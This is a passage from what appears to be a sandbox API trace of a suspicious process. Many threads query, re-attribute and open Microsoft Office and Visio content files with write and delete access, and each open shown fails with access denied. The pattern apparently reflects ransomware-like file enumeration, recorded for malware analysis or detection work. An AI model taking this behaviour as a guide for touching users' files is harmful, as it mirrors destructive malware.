Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf")) returned 0x20 [0202.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF", dwFileAttributes=0x20) returned 0 [0202.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.605] GetLastError () returned 0x5 [0202.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF", dwFileAttributes=0x20) returned 0 [0202.605] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b4be8) returned 1 Thread: id = 8999 os_tid = 0x1530 [0199.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf")) returned 0x20 [0202.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF", dwFileAttributes=0x20) returned 0 [0202.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.601] GetLastError () returned 0x5 [0202.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF", dwFileAttributes=0x20) returned 0 [0202.601] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b4c70) returned 1 Thread: id = 9000 os_tid = 0x1534 [0199.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf")) returned 0x20 [0202.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF", dwFileAttributes=0x20) returned 0 [0202.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.634] GetLastError () returned 0x5 [0202.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF", dwFileAttributes=0x20) returned 0 [0202.634] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b4cf8) returned 1 Thread: id = 9001 os_tid = 0x1038 [0199.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf")) returned 0x20 [0202.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF", dwFileAttributes=0x20) returned 0 [0202.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.596] GetLastError () returned 0x5 [0202.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF", dwFileAttributes=0x20) returned 0 [0202.596] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b4d80) returned 1 Thread: id = 9002 os_tid = 0x103c [0199.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\fontschm.ini")) returned 0x20 [0199.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", dwFileAttributes=0x20) returned 0 [0199.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\fontschm.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0199.211] GetLastError () returned 0x5 [0199.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI", dwFileAttributes=0x20) returned 0 [0199.211] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c760c8) returned 1 Thread: id = 9027 os_tid = 0x1070 [0200.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\button.gif")) returned 0x20 [0200.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", dwFileAttributes=0x20) returned 0 [0200.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\button.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0200.750] GetLastError () returned 0x5 [0200.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF", dwFileAttributes=0x20) returned 0 [0200.751] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf9070) returned 1 Thread: id = 9028 os_tid = 0x1074 [0200.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\tab_off.gif")) returned 0x20 [0200.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", dwFileAttributes=0x20) returned 0 [0200.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\tab_off.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0200.752] GetLastError () returned 0x5 [0200.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF", dwFileAttributes=0x20) returned 0 [0200.752] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf9830) returned 1 Thread: id = 9029 os_tid = 0x1078 [0200.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\tab_on.gif")) returned 0x20 [0200.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", dwFileAttributes=0x20) returned 0 [0200.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\tab_on.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0200.753] GetLastError () returned 0x5 [0200.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", dwFileAttributes=0x20) returned 0 [0200.754] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf9260) returned 1 Thread: id = 9030 os_tid = 0x107c [0200.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\GDT_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\gdt_m.vss")) returned 0x20 [0201.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\GDT_M.VSS", dwFileAttributes=0x20) returned 0 [0201.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\GDT_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\gdt_m.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0201.245] GetLastError () returned 0x5 [0201.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\GDT_M.VSS", dwFileAttributes=0x20) returned 0 [0201.245] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c76a48) returned 1 Thread: id = 9031 os_tid = 0x1080 [0200.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\GDT_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\gdt_u.vss")) returned 0x20 [0201.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\GDT_U.VSS", dwFileAttributes=0x20) returned 0 [0201.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\GDT_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\gdt_u.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0201.244] GetLastError () returned 0x5 [0201.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\GDT_U.VSS", dwFileAttributes=0x20) returned 0 [0201.244] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c776c0) returned 1 Thread: id = 9032 os_tid = 0x1084 [0200.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HOMPLN_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hompln_m.vst")) returned 0x20 [0201.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HOMPLN_M.VST", dwFileAttributes=0x20) returned 0 [0201.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HOMPLN_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hompln_m.vst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0201.243] GetLastError () returned 0x5 [0201.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HOMPLN_M.VST", dwFileAttributes=0x20) returned 0 [0201.243] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae748) returned 1 Thread: id = 9033 os_tid = 0x1664 [0200.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HOMPLN_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hompln_u.vst")) returned 0x20 [0201.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HOMPLN_U.VST", dwFileAttributes=0x20) returned 0 [0201.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HOMPLN_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hompln_u.vst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0201.242] GetLastError () returned 0x5 [0201.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HOMPLN_U.VST", dwFileAttributes=0x20) returned 0 [0201.242] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9acee8) returned 1 Thread: id = 9034 os_tid = 0x1708 [0200.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACCE_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvacce_m.vss")) returned 0x20 [0200.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACCE_M.VSS", dwFileAttributes=0x20) returned 0 [0200.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACCE_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvacce_m.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0200.944] GetLastError () returned 0x5 [0200.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACCE_M.VSS", dwFileAttributes=0x20) returned 0 [0200.944] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad7a8) returned 1 Thread: id = 9035 os_tid = 0x1710 [0200.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACCE_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvacce_u.vss")) returned 0x20 [0201.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACCE_U.VSS", dwFileAttributes=0x20) returned 0 [0201.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACCE_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvacce_u.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0201.260] GetLastError () returned 0x5 [0201.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACCE_U.VSS", dwFileAttributes=0x20) returned 0 [0201.260] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae428) returned 1 Thread: id = 9036 os_tid = 0x1714 [0200.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACC_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvacc_m.vss")) returned 0x20 [0201.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACC_M.VSS", dwFileAttributes=0x20) returned 0 [0201.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACC_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvacc_m.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0201.259] GetLastError () returned 0x5 [0201.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACC_M.VSS", dwFileAttributes=0x20) returned 0 [0201.259] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad2a8) returned 1 Thread: id = 9037 os_tid = 0x1718 [0200.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACC_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvacc_u.vss")) returned 0x20 [0201.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACC_U.VSS", dwFileAttributes=0x20) returned 0 [0201.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACC_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvacc_u.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0201.258] GetLastError () returned 0x5 [0201.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACC_U.VSS", dwFileAttributes=0x20) returned 0 [0201.258] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae248) returned 1 Thread: id = 9038 os_tid = 0x1720 [0200.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACD_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvacd_m.vss")) returned 0x20 [0201.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACD_M.VSS", dwFileAttributes=0x20) returned 0 [0201.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACD_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvacd_m.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0201.257] GetLastError () returned 0x5 [0201.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACD_M.VSS", dwFileAttributes=0x20) returned 0 [0201.257] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aeb08) returned 1 Thread: id = 9039 os_tid = 0x10b4 [0200.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACD_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvacd_u.vss")) returned 0x20 [0201.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACD_U.VSS", dwFileAttributes=0x20) returned 0 [0201.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACD_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvacd_u.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0201.255] GetLastError () returned 0x5 [0201.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACD_U.VSS", dwFileAttributes=0x20) returned 0 [0201.255] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad0c8) returned 1 Thread: id = 9040 os_tid = 0x10b8 [0200.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACEQ_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvaceq_m.vss")) returned 0x20 [0201.240] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACEQ_M.VSS", dwFileAttributes=0x20) returned 0 [0201.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACEQ_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvaceq_m.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0201.241] GetLastError () returned 0x5 [0201.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACEQ_M.VSS", dwFileAttributes=0x20) returned 0 [0201.241] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae068) returned 1 Thread: id = 9041 os_tid = 0x10bc [0200.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACEQ_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvaceq_u.vss")) returned 0x20 [0201.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACEQ_U.VSS", dwFileAttributes=0x20) returned 0 [0201.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACEQ_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvaceq_u.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0201.239] GetLastError () returned 0x5 [0201.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVACEQ_U.VSS", dwFileAttributes=0x20) returned 0 [0201.240] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad848) returned 1 Thread: id = 9042 os_tid = 0x10c0 [0200.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVAC_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvac_m.vst")) returned 0x20 [0201.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVAC_M.VST", dwFileAttributes=0x20) returned 0 [0201.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVAC_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvac_m.vst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0201.254] GetLastError () returned 0x5 [0201.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVAC_M.VST", dwFileAttributes=0x20) returned 0 [0201.254] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ace48) returned 1 Thread: id = 9043 os_tid = 0x10c4 [0200.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVAC_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvac_u.vst")) returned 0x20 [0201.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVAC_U.VST", dwFileAttributes=0x20) returned 0 [0201.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVAC_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\hvac_u.vst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0201.253] GetLastError () returned 0x5 [0201.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HVAC_U.VST", dwFileAttributes=0x20) returned 0 [0201.253] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae1a8) returned 1 Thread: id = 9044 os_tid = 0x10c8 [0200.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IDEF0_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\idef0_m.vss")) returned 0x20 [0201.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IDEF0_M.VSS", dwFileAttributes=0x20) returned 0 [0201.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IDEF0_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\idef0_m.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0201.252] GetLastError () returned 0x5 [0201.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IDEF0_M.VSS", dwFileAttributes=0x20) returned 0 [0201.252] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae388) returned 1 Thread: id = 9045 os_tid = 0x10cc [0200.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IDEF0_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\idef0_m.vst")) returned 0x20 [0201.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IDEF0_M.VST", dwFileAttributes=0x20) returned 0 [0201.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IDEF0_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\idef0_m.vst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0201.251] GetLastError () returned 0x5 [0201.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IDEF0_M.VST", dwFileAttributes=0x20) returned 0 [0201.251] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad028) returned 1 Thread: id = 9046 os_tid = 0x10d0 [0200.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IDEF0_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\idef0_u.vss")) returned 0x20 [0201.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IDEF0_U.VSS", dwFileAttributes=0x20) returned 0 